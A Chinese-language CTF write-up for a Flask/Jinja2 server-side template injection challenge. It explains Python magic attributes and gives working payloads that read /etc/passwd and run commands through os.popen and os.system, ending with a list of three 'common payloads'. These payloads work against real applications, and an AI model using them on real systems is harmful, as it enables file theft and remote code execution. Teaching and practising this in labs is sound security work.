Web_python_template_injection(Python模块注入)

简介: Web_python_template_injection(Python模块注入)

打开链接,提示是Python的模块注入

我们先了解一些基本概念:


模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。


在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。


flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。


在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。


模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。


首先我们检测一下是否存在模板注入


{{10+20}}

可以看到确实被执行了

还是先介绍一些知识


几种常用于ssti的魔术方法:


__class__  返回类型所属的对象


__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析


__base__   返回该对象所继承的基类


(__base__和__mro__都是用来寻找基类的)


__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表


__init__  类的初始化方法


__globals__  对包含函数全局变量的字典的引用


__builtins__  builtins就是引用


Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。


在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的

取值均使用变量名 x[index or key] 的形式。


获取基类的几种方法:

[].__class__.__base__


''.__class__.__mro__[2]


().__class__.__base__


{}.__class__.__base__


request.__class__.__mro__[8]   


[].__class__.__bases__[0]  


获取基本类的子类

[].__class__.__base__.__subclasses__()


我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)


().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()


首先我们查找Object类 {{''.__class__.__mro__[?]}}


发现 {{''.__class__.__mro__[2]}} 是Object类

寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}

可以看到有一个type file类型(可以进行文件读取)


尝试利用file类读取文件


[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始


{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

能够正常回显,说明file类执行正常。

试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名

但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行)


{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

[71]为<class ‘site._Printer’>出现位置

知道文件名后我们读取flag

(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


三个常用payload:


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()



''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')



''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

目录
相关文章
|
2月前
|
开发者 Python
如何在Python中管理模块和包的依赖关系?
在实际开发中,通常会结合多种方法来管理模块和包的依赖关系,以确保项目的顺利进行和可维护性。同时,要及时更新和解决依赖冲突等问题,以保证代码的稳定性和可靠性
62 4
|
24天前
|
Python
Python Internet 模块
Python Internet 模块。
121 74
|
2月前
|
算法 数据安全/隐私保护 开发者
马特赛特旋转算法:Python的随机模块背后的力量
马特赛特旋转算法是Python `random`模块的核心,由松本真和西村拓士于1997年提出。它基于线性反馈移位寄存器,具有超长周期和高维均匀性,适用于模拟、密码学等领域。Python中通过设置种子值初始化状态数组,经状态更新和输出提取生成随机数,代码简单高效。
123 63
|
2月前
|
测试技术 Python
手动解决Python模块和包依赖冲突的具体步骤是什么?
需要注意的是,手动解决依赖冲突可能需要一定的时间和经验,并且需要谨慎操作,避免引入新的问题。在实际操作中,还可以结合使用其他方法,如虚拟环境等,来更好地管理和解决依赖冲突😉。
|
3天前
|
Python
[oeasy]python057_如何删除print函数_dunder_builtins_系统内建模块
本文介绍了如何删除Python中的`print`函数,并探讨了系统内建模块`__builtins__`的作用。主要内容包括: 1. **回忆上次内容**:上次提到使用下划线避免命名冲突。 2. **双下划线变量**:解释了双下划线(如`__name__`、`__doc__`、`__builtins__`)是系统定义的标识符,具有特殊含义。
18 3
|
2月前
|
持续交付 Python
如何在Python中自动解决模块和包的依赖冲突?
完全自动解决所有依赖冲突可能并不总是可行,特别是在复杂的项目中。有时候仍然需要人工干预和判断。自动解决的方法主要是提供辅助和便捷,但不能完全替代人工的分析和决策😉。
|
2月前
|
JSON Linux 数据格式
Python模块:从入门到精通,只需一篇文章!
Python中的模块是将相关代码组织在一起的单元,便于重用和维护。模块可以是Python文件或C/C++扩展,Python标准库中包含大量模块,如os、sys、time等,用于执行各种任务。定义模块只需创建.py文件并编写代码,导入模块使用import语句。此外,Python还支持自定义模块和包,以及虚拟环境来管理项目依赖。
Python模块:从入门到精通,只需一篇文章!
|
2月前
|
Python
Python的模块和包
总之,模块和包是 Python 编程中非常重要的概念,掌握它们可以帮助我们更好地组织和管理代码,提高开发效率和代码质量
48 5
|
2月前
|
数据可视化 Python
如何在Python中解决模块和包的依赖冲突?
解决模块和包的依赖冲突需要综合运用多种方法,并且需要团队成员的共同努力和协作。通过合理的管理和解决冲突,可以提高项目的稳定性和可扩展性
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
67 2